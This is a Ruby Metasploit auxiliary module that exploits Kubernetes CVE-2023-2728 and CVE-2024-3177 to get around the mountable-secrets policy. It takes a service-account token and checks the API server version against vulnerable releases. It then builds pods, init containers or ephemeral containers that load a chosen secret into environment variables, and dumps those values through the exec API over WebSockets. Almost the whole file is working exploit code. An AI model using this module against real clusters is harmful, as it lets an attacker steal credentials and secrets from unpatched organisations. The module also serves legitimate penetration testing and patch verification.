require 'faye/websocket' require 'eventmachine' require 'json' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Kubernetes def initialize(info = {}) super(update_info(info, 'Name' => 'Kubernetes CVE-2023-2728 and CVE-2024-3177 Exploit', 'Description' => %q{ This module exploits vulnerabilities in Kubernetes (CVE-2023-2728 and CVE-2024-3177) that allow bypassing the mountable secrets policy. }, 'Author' => ['Carlos González'], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2023-2728'], ['CVE', '2024-3177'] ] )) register_options([ OptString.new('TARGET_URI', [true, 'The base path to the Kubernetes API', '/api/v1']), OptString.new('NAMESPACE', [true, 'The namespace where the pod will be created', 'default']), OptString.new('POD_NAME', [true, 'The name of the pod to create', 'exploit-pod']), OptString.new('IMAGE', [true, 'The image to use for the pod', 'busybox']), OptString.new('SECRET_NAME', [true, 'The name of the secret to bypass']), OptString.new('CONTAINER_TYPE', [true, 'Type of container: normal, init, ephemeral', 'normal']), OptString.new('SESSION', [false, 'The session does not matter in this module']), OptString.new('TOKEN', [true, 'The authentication token']), OptEnum.new('CVE', [true, 'Select the CVE to exploit', '2024-3177', ['2024-3177', '2023-2728']]) ]) end def run token_info = decode_token(datastore['TOKEN']) sa_name = token_info['kubernetes.io']['serviceaccount']['name'] namespace_name = datastore['NAMESPACE'] server_version = get_server_version unless vulnerable_version?(server_version) print_error("The kube-apiserver version #{server_version} is not vulnerable to the selected CVE.") return end print_good("The kube-apiserver version #{server_version} is vulnerable to the selected CVE.") if datastore['CVE'] == '2023-2728' if datastore['CONTAINER_TYPE'] == 'ephemeral' pod_status = create_normal_pod(namespace_name, sa_name) if pod_status == :exists_but_differs print_error("Pod #{datastore['POD_NAME']} exists but with a different spec. Exiting...") return elsif pod_status == :exists_and_matches print_status("Pod #{datastore['POD_NAME']} is already created, continuing...") elsif pod_status == :error print_error("An error occurred while managing the pod. Exiting...") return end wait_for_pod_ready add_ephemeral_container_with_secrets elsif datastore['CONTAINER_TYPE'] == 'normal' create_pod_with_secrets(namespace_name, sa_name) #wait_for_pod_ready #get_env_vars elsif datastore['CONTAINER_TYPE'] == 'init' print_status("This container type is patched in this CVE, try to select another one") end else # CVE-2024-3177 pod_status = create_pod(namespace_name, sa_name) if pod_status == :exists_but_differs return elsif pod_status == :exists_and_matches print_status("Pod #{datastore['POD_NAME']} is already created, continuing...") elsif pod_status == :error print_error("An error occurred while managing the pod. Exiting...") return end if datastore['CONTAINER_TYPE'] == 'init' print_status("Waiting for the init container to start...") sleep(10) get_env_vars_from_init elsif datastore['CONTAINER_TYPE'] == 'ephemeral' wait_for_pod_ready add_ephemeral_container wait_for_ephemeral_container get_env_vars_from_ephemeral else wait_for_pod_ready get_env_vars end end end def decode_token(token) header, payload, signature = token.split('.') decoded_payload = Base64.decode64(payload.tr('-_', '+/')) JSON.parse(decoded_payload) rescue StandardError => e print_error("Failed to decode token: #{e.message}") {} end def get_server_version k8sclient = Msf::Exploit::Remote::HTTP::Kubernetes::Client.new(http_client: self, token: datastore['TOKEN']) print_status("Fetching Kubernetes server version...") begin version_info = k8sclient.get_version if version_info git_version = version_info[:gitVersion] print_good("Kubernetes server version: #{git_version}") return git_version else print_error("Failed to retrieve Kubernetes server version.") fail_with(Failure::Unknown, "Failed to retrieve Kubernetes server version") end rescue => e print_error("Error fetching Kubernetes server version: #{e.message}") fail_with(Failure::Unknown, "Error fetching Kubernetes server version") end end def vulnerable_version?(version) vulnerable_versions = case datastore['CVE'] when '2024-3177' [ /^v1\.29\.[0-3]$/, /^v1\.28\.[0-8]$/, /^v1\.27\.\d$|^v1\.27\.1[0-2]$/ ] when '2023-2728' [ /^v1\.24\.14$/, /^v1\.25\.[0-9]$|^v1\.25\.10$/, /^v1\.26\.[0-5]$/, /^v1\.27\.[0-2]$/ ] else [] end vulnerable_versions.any? { |v| version =~ v } end #CVE 2023-2728 def create_normal_pod(namespace_name, sa_name) print_status("Creating pod with standard configuration in namespace: #{namespace_name} with service account: #{sa_name}") container_spec = { name: 'exploit-container', image: datastore['IMAGE'], command: ["/bin/sh"], args: ["-c", "sleep 3600"] } pod_spec = { apiVersion: 'v1', kind: 'Pod', metadata: { name: datastore['POD_NAME'], namespace: namespace_name }, spec: { serviceAccountName: sa_name, containers: [container_spec], restartPolicy: 'Never' } } k8sclient = Msf::Exploit::Remote::HTTP::Kubernetes::Client.new(http_client: self, token: datastore['TOKEN']) begin existing_pod = k8sclient.get_pod(datastore['POD_NAME'], namespace_name) normalized_existing_pod_spec = normalize_pod_spec(existing_pod[:spec]) normalized_existing_pod_spec.delete(:ephemeralContainers) normalized_current_pod_spec = normalize_pod_spec(pod_spec[:spec]) #print_status("Existing Pod Spec: #{normalized_existing_pod_spec.to_json}") #print_status("Current Pod Spec: #{normalized_current_pod_spec.to_json}") if normalized_existing_pod_spec == normalized_current_pod_spec #print_status("Pod #{datastore['POD_NAME']} is already created, continuing...") return :exists_and_matches else #print_error("Pod #{datastore['POD_NAME']} exists but with a different spec. Exiting...") return :exists_but_differs end rescue Msf::Exploit::Remote::HTTP::Kubernetes::Error::NotFoundError print_status("Pod not found. Proceeding with pod creation.") rescue => e print_error("Error checking pod existence: #{e.message}") print_error("Backtrace:\n\t#{e.backtrace.join("\n\t")}") return :error end response = k8sclient.create_pod(pod_spec, namespace_name) if response && response[:metadata] print_good("Successfully created pod #{datastore['POD_NAME']} in namespace #{namespace_name}") elsif response && response[:status] == 409 print_status("Pod #{datastore['POD_NAME']} already exists, continuing...") else print_error("Failed to create pod: #{response[:status]} #{response[:body]}") end end def add_ephemeral_container_with_secrets print_status("Attempting to add ephemeral container to access secrets...") secret_keys = get_secret_keys(datastore['SECRET_NAME'], datastore['NAMESPACE']) if secret_keys.nil? || secret_keys.empty? print_error("No keys found in the specified secret.") return end env_vars = secret_keys.map do |key| { name: key, valueFrom: { secretKeyRef: { name: datastore['SECRET_NAME'], key: key } } } end uri = normalize_uri(datastore['TARGET_URI'], 'namespaces', datastore['NAMESPACE'], 'pods', datastore['POD_NAME'], 'ephemeralcontainers') token = datastore['TOKEN'] ephemeral_container_spec = { name: 'ephemeral-container', image: datastore['IMAGE'], command: ["/bin/sh"], args: ["-c", "sleep 3600"], env: env_vars } patch_data = { spec: { ephemeralContainers: [ephemeral_container_spec] } } headers = { 'Authorization' => "Bearer #{token}", 'Content-Type' => 'application/strategic-merge-patch+json' } print_status("Performing PATCH request with the following data: #{patch_data.to_json}") response = send_request_cgi({ 'method' => 'PATCH', 'uri' => uri, 'ctype' => 'application/strategic-merge-patch+json', 'data' => patch_data.to_json, 'headers' => headers }) if response print_good("Response received") if response.code == 200 print_good("Ephemeral container successfully added to pod #{datastore['POD_NAME']}") wait_for_ephemeral_container access_secrets_in_ephemeral_container else print_error("Error adding ephemeral container: #{response.code} #{response.message}") begin error_details = JSON.parse(response.body) print_error("Error details: #{error_details['message']}") print_error("Error code: #{error_details['code']}") print_error("Error status: #{error_details['status']}") print_error("Error reason: #{error_details['reason']}") rescue JSON::ParserError => e print_error("Failed to parse error details: #{e.message}") end end else print_error("No response received from server") end end def create_pod_with_secrets(namespace_name, sa_name) print_status("Creating pod with secrets mounted in namespace: #{namespace_name} with service account: #{sa_name}") secret_keys = get_secret_keys(datastore['SECRET_NAME'], namespace_name) env_vars = secret_keys.map do |key| { name: key, valueFrom: { secretKeyRef: { name: datastore['SECRET_NAME'], key: key } } } end container_spec = { name: 'exploit-container', image: datastore['IMAGE'], command: ["/bin/sh"], args: ["-c", "sleep 3600"], env: env_vars } pod_spec = { apiVersion: 'v1', kind: 'Pod', metadata: { name: datastore['POD_NAME'], namespace: namespace_name }, spec: { serviceAccountName: sa_name, containers: [container_spec], restartPolicy: 'Never' } } k8sclient = Msf::Exploit::Remote::HTTP::Kubernetes::Client.new(http_client: self, token: datastore['TOKEN']) begin response = k8sclient.create_pod(pod_spec, namespace_name) if response && response[:metadata] print_good("Successfully created pod #{datastore['POD_NAME']} in namespace #{namespace_name}") end rescue Msf::Exploit::Remote::HTTP::Kubernetes::Error::ForbiddenError => e print_error("The service account #{sa_name} does not have the appropriate permissions to access the service. Only secrets referenced by that service account can be mounted.") rescue => e print_error("Failed to create pod: #{e.message}") end end def create_pod(namespace_name, sa_name) k8sclient = Msf::Exploit::Remote::HTTP::Kubernetes::Client.new(http_client: self, token: datastore['TOKEN']) container_name = case datastore['CONTAINER_TYPE'] when 'init' 'init-main-container' when 'ephemeral' 'ephemeral-main-container' else 'main-container' end container_spec = { name: 'exploit-container', image: datastore['IMAGE'], command: ["/bin/sh"], args: ["-c", "sleep 3600"], envFrom: [ { secretRef: { name: datastore['SECRET_NAME'] } } ] } pod_spec = { apiVersion: 'v1', kind: 'Pod', metadata: { name: datastore['POD_NAME'], namespace: namespace_name }, spec: { containers: [{ name: container_name, image: 'busybox', command: ["/bin/sh"], args: ["-c", "sleep 3600"] }], restartPolicy: 'Never' } } # Add init container if specified if datastore['CONTAINER_TYPE'] == 'init' pod_spec[:spec][:initContainers] = [container_spec] end if datastore['CONTAINER_TYPE'] == 'normal' pod_spec[:spec][:containers].first[:envFrom] = [ { secretRef: { name: datastore['SECRET_NAME'] } } ] end print_status("Creating pod with the following spec: #{pod_spec.to_json}") begin # Verificar si el pod ya existe existing_pod = k8sclient.get_pod(datastore['POD_NAME'], namespace_name) if existing_pod existing_pod_spec = normalize_pod_spec(existing_pod[:spec]) existing_pod_spec.delete(:initContainers) existing_pod_spec.delete(:ephemeralContainers) current_pod_spec = normalize_pod_spec(pod_spec[:spec]) current_pod_spec.delete(:initContainers) current_pod_spec.delete(:ephemeralContainers) matching = existing_pod_spec == current_pod_spec if matching print_status("matchea el existing #{existing_pod_spec}") print_status("Pod 2 current #{current_pod_spec}") return :exists_and_matches else #print_status("EXISTING POD #{existing_pod_spec}") #print_status("CURRENT POD #{current_pod_spec}") print_error("Pod #{datastore['POD_NAME']} exists but with a different spec. Exiting...") return :exists_but_differs end end rescue Msf::Exploit::Remote::HTTP::Kubernetes::Error::NotFoundError print_status("Pod not found, creating a new one.") rescue => e print_error("Error checking pod existence: #{e.message}") print_error("Backtrace:\n\t#{e.backtrace.join("\n\t")}") return :error end begin response = k8sclient.create_pod(pod_spec, namespace_name) rescue Msf::Exploit::Remote::HTTP::Kubernetes::Error::UnexpectedStatusCode => e if e.status_code == 409 return :exists_and_matches print_error("Error in create_pod: #{e.message}") print_error("Backtrace:\n\t#{e.backtrace.join("\n\t")}") return :error end rescue => e print_error("Error in create_pod: #{e.message}") print_error("Backtrace:\n\t#{e.backtrace.join("\n\t")}") return :error end if response && response[:metadata] print_good("Pod created successfully: #{response[:metadata][:name]}") return :created else print_error("Failed to create pod.") return :error end end def normalize_pod_spec(spec) normalized_spec = spec.dup normalized_spec.delete(:volumes) normalized_spec.delete(:serviceAccountName) normalized_spec.delete(:serviceAccount) normalized_spec.delete(:nodeName) normalized_spec.delete(:schedulerName) normalized_spec.delete(:tolerations) normalized_spec.delete(:dnsPolicy) normalized_spec.delete(:terminationGracePeriodSeconds) normalized_spec.delete(:securityContext) normalized_spec.delete(:imagePullPolicy) normalized_spec.delete(:enableServiceLinks) normalized_spec.delete(:preemptionPolicy) normalized_spec.delete(:priority) normalized_spec[:containers].each do |container| container.delete(:volumeMounts) container.delete(:resources) container.delete(:terminationMessagePath) container.delete(:terminationMessagePolicy) container.delete(:imagePullPolicy) end normalized_spec end def wait_for_pod_ready token = datastore['TOKEN'] namespace = datastore['NAMESPACE'] pod_name = datastore['POD_NAME'] k8sclient = Msf::Exploit::Remote::HTTP::Kubernetes::Client.new(http_client: self, token: token) print_status("Waiting for pod #{pod_name} to be ready...") timeout = 120 interval = 5 (timeout / interval).times do pod = k8sclient.get_pod(pod_name, namespace) pod_status = pod.dig(:status, :phase) if pod_status == 'Running' print_good("Pod #{pod_name} is running.") return else print_status("Pod #{pod_name} status: #{pod_status}") sleep(interval) end end fail_with(Failure::TimeoutExpired, "Pod #{pod_name} did not become ready within #{timeout} seconds.") end def add_ephemeral_container k8sclient = Msf::Exploit::Remote::HTTP::Kubernetes::Client.new(http_client: self, token: datastore['TOKEN']) ephemeral_container_spec = { name: 'ephemeral-container', image: datastore['IMAGE'], envFrom: [ { secretRef: { name: datastore['SECRET_NAME'] } } ], command: ["/bin/sh"], args: ["-c", "sleep 3600"] } patch_data = { spec: { ephemeralContainers: [ephemeral_container_spec] } } uri = normalize_uri(datastore['TARGET_URI'], 'namespaces', datastore['NAMESPACE'], 'pods', datastore['POD_NAME'], 'ephemeralcontainers') token = datastore['TOKEN'] print_status("Adding ephemeral container with the following spec: #{ephemeral_container_spec.to_json}") response = send_request_cgi({ 'method' => 'PATCH', 'uri' => uri, 'ctype' => 'application/strategic-merge-patch+json', 'data' => patch_data.to_json, 'headers' => { 'Authorization' => "Bearer #{token}" } }) if response print_status("Ephemeral container addition response code: #{response.code}") print_status("Ephemeral container addition response message: #{response.message}") end if response && response.code == 200 print_good("Successfully added ephemeral container to pod #{datastore['POD_NAME']}") wait_for_ephemeral_container else print_error("Failed to add ephemeral container: #{response.code} #{response.message}") end end def get_secret_keys(secret_name, namespace) #print_status("Fetching keys from secret '#{secret_name}' in namespace '#{namespace}'") uri = normalize_uri(datastore['TARGET_URI'], 'namespaces', namespace, 'secrets', secret_name) token = datastore['TOKEN'] response = send_request_cgi({ 'method' => 'GET', 'uri' => uri, 'ctype' => 'application/json', 'headers' => { 'Authorization' => "Bearer #{token}" } }) if response && response.code == 200 secret_data = JSON.parse(response.body) secret_keys = secret_data['data'].keys #print_status("Keys available in the secret: #{secret_keys.join(', ')}") secret_keys else print_error("Error retrieving secret keys: #{response&.code} #{response&.message}") nil end end def wait_for_ephemeral_container token = datastore['TOKEN'] namespace = datastore['NAMESPACE'] pod_name = datastore['POD_NAME'] k8sclient = Msf::Exploit::Remote::HTTP::Kubernetes::Client.new(http_client: self, token: token) print_status("Waiting for ephemeral container to be ready...") timeout = 300 interval = 5 (timeout / interval).times do pod = k8sclient.get_pod(pod_name, namespace) ephemeral_container_status = pod.dig(:status, :ephemeralContainerStatuses)&.find { |c| c[:name] == 'ephemeral-container' } if ephemeral_container_status && ephemeral_container_status.dig(:state, :running) print_good("Ephemeral container is running.") return else state = ephemeral_container_status ? ephemeral_container_status.dig(:state) : 'Not found' reason = ephemeral_container_status.dig(:state, :waiting, :reason) if ephemeral_container_status message = ephemeral_container_status.dig(:state, :waiting, :message) if ephemeral_container_status print_status("Ephemeral container status: #{state}") print_status("Reason: #{reason}") if reason print_status("Message: #{message}") if message sleep(interval) end end fail_with(Failure::TimeoutExpired, "Ephemeral container did not become ready within #{timeout} seconds.") end def access_secrets_in_ephemeral_container k8sclient = Msf::Exploit::Remote::HTTP::Kubernetes::Client.new(http_client: self, token: datastore['TOKEN']) print_status("Attempting to access environment variables from the ephemeral container...") secret_keys = get_secret_keys(datastore['SECRET_NAME'], datastore['NAMESPACE']) if secret_keys.nil? || secret_keys.empty? print_error("No keys found in the specified secret.") return end exec_command = { 'command' => ["/bin/sh", "-c", "env"], 'stdin' => false, 'stdout' => true, 'stderr' => true, 'tty' => false } target_host_port = "#{datastore['RHOSTS']}:#{datastore['RPORT']}" uri = normalize_uri('api', 'v1', 'namespaces', datastore['NAMESPACE'], 'pods', datastore['POD_NAME'], 'exec') params = { 'container' => 'ephemeral-container', 'stdin' => 'false', 'stdout' => 'true', 'stderr' => 'true', 'tty' => 'false', 'command' => ['/bin/sh', '-c', 'env'] } query = URI.encode_www_form(params) scheme = datastore['SSL'] ? 'wss' : 'ws' full_uri = "#{scheme}://#{target_host_port}#{uri}?#{query}" #print_status("Full URI: #{full_uri}") EventMachine.run do headers = { 'Authorization' => "Bearer #{datastore['TOKEN']}" } ws = Faye::WebSocket::Client.new(full_uri, nil, { headers: headers, tls: { verify_peer: false } }) ws.on :open do |_event| print_status("WebSocket connection opened") end ws.on :message do |event| decoded_message = decode_message(event.data) highlight_secrets(decoded_message, secret_keys) end ws.on :close do |event| print_status("WebSocket connection closed: #{event.code}, #{event.reason}") EventMachine.stop end ws.on :error do |event| print_error("WebSocket error: #{event.message}") EventMachine.stop end end rescue StandardError => e print_error("An error occurred: #{e.message}") print_error("Error trace:\n\t#{e.backtrace.join("\n\t")}") end def get_env_vars_from_ephemeral k8sclient = Msf::Exploit::Remote::HTTP::Kubernetes::Client.new(http_client: self, token: datastore['TOKEN']) print_status("Retrieving environment variables from ephemeral container using Kubernetes API...") secret_keys = get_secret_keys(datastore['SECRET_NAME'], datastore['NAMESPACE']) exec_command = { 'command' => ["/bin/sh", "-c", "printenv"], 'stdin' => false, 'stdout' => true, 'stderr' => true, 'tty' => false } target_host_port = "#{datastore['RHOSTS']}:#{datastore['RPORT']}" uri = normalize_uri('api', 'v1', 'namespaces', datastore['NAMESPACE'], 'pods', datastore['POD_NAME'], 'exec') params = { 'container' => 'ephemeral-container', 'stdin' => 'false', 'stdout' => 'true', 'stderr' => 'true', 'tty' => 'false', 'command' => ['/bin/sh', '-c', 'printenv'] } query = URI.encode_www_form(params) scheme = datastore['SSL'] ? 'wss' : 'ws' full_uri = "#{scheme}://#{target_host_port}#{uri}?#{query}" EventMachine.run do headers = { 'Authorization' => "Bearer #{datastore['TOKEN']}" } ws = Faye::WebSocket::Client.new(full_uri, nil, { headers: headers, tls: { verify_peer: false } }) ws.on :open do |event| print_status("WebSocket connection opened") end ws.on :message do |event| decoded_message = decode_message(event.data) highlight_secrets(decoded_message, secret_keys) end ws.on :close do |event| print_status("WebSocket connection closed: #{event.code}, #{event.reason}") EventMachine.stop end ws.on :error do |event| print_error("WebSocket error: #{event.message}") EventMachine.stop end end rescue => e print_error("An error occurred: #{e.message}") print_error("Backtrace:\n\t#{e.backtrace.join("\n\t")}") end def get_env_vars_from_init k8sclient = Msf::Exploit::Remote::HTTP::Kubernetes::Client.new(http_client: self, token: datastore['TOKEN']) print_status("Checking pod and container status...") secret_keys = get_secret_keys(datastore['SECRET_NAME'], datastore['NAMESPACE']) pod = k8sclient.get_pod(datastore['POD_NAME'], datastore['NAMESPACE']) init_container_status = pod.dig(:status, :initContainerStatuses)&.first if init_container_status state = init_container_status.dig(:state) if state[:running] print_good("Init container is running.") elsif state[:terminated] print_error("Init container has already terminated. State: #{state[:terminated]}") return else print_error("Init container is not running. Current state: #{state}") return end else print_error("No init container status found.") return end print_status("Retrieving environment variables from init container using Kubernetes API...") exec_command = { 'command' => ["/bin/sh", "-c", "printenv"], 'stdin' => false, 'stdout' => true, 'stderr' => true, 'tty' => false } target_host_port = "#{datastore['RHOSTS']}:#{datastore['RPORT']}" uri = normalize_uri('api', 'v1', 'namespaces', datastore['NAMESPACE'], 'pods', datastore['POD_NAME'], 'exec') params = { 'container' => 'exploit-container', 'stdin' => 'false', 'stdout' => 'true', 'stderr' => 'true', 'tty' => 'false', 'command' => ['/bin/sh', '-c', 'printenv'] } query = URI.encode_www_form(params) scheme = datastore['SSL'] ? 'wss' : 'ws' full_uri = "#{scheme}://#{target_host_port}#{uri}?#{query}" EventMachine.run do headers = { 'Authorization' => "Bearer #{datastore['TOKEN']}" } ws = Faye::WebSocket::Client.new(full_uri, nil, { headers: headers, tls: { verify_peer: false } }) ws.on :open do |event| print_status("WebSocket connection opened") end ws.on :message do |event| decoded_message = decode_message(event.data) highlight_secrets(decoded_message, secret_keys) end ws.on :close do |event| print_status("WebSocket connection closed: #{event.code}, #{event.reason}") EventMachine.stop end ws.on :error do |event| print_error("WebSocket error: #{event.message}") EventMachine.stop end end rescue => e print_error("An error occurred: #{e.message}") print_error("Backtrace:\n\t#{e.backtrace.join("\n\t")}") end def highlight_secrets(message, secret_keys) message.each_line do |line| if secret_keys.any? { |secret| line.start_with?(secret) } # Resaltar en rojo usando secuencias ANSI print_line("\e[31m#{line.strip}\e[0m") else print_line(line.strip) end end end def decode_message(data) if data.is_a?(Array) data.map(&:chr).join else data.to_s end end def get_env_vars k8sclient = Msf::Exploit::Remote::HTTP::Kubernetes::Client.new(http_client: self, token: datastore['TOKEN']) print_status("Established Kubernetes client.") secret_keys = get_secret_keys(datastore['SECRET_NAME'], datastore['NAMESPACE']) result = k8sclient.exec_pod_capture( datastore['POD_NAME'], datastore['NAMESPACE'], ["/bin/sh", "-c", "printenv"], 'stdin' => false, 'stdout' => true, 'stderr' => true, 'tty' => false ) do |stdout, stderr| highlight_secrets(stdout.strip, secret_keys) unless stdout.blank? highlight_secrets(stderr.strip, secret_keys) unless stderr.blank? end if result status = result&.dig(:error, 'status') if status == 'Success' print_good("Successfully retrieved environment variables from pod #{datastore['POD_NAME']}") else fail_with(Failure::Unknown, "Status: #{status || 'Unknown'}") end else fail_with(Failure::Unknown, 'Failed to execute the command') end rescue Rex::Proto::Http::WebSocket::ConnectionError => e res = e.http_response if res.nil? fail_with(Failure::Unreachable, e.message) else print_error("WebSocket connection failed with response code: #{res.code} and message: #{res.message}") fail_with(Failure::NoAccess, 'Insufficient Kubernetes access') if res.code == 401 || res.code == 403 fail_with(Failure::Unknown, e.message) end rescue => e print_error("An error occurred: #{e.message}") print_error("Backtrace:\n\t#{e.backtrace.join("\n\t")}") end end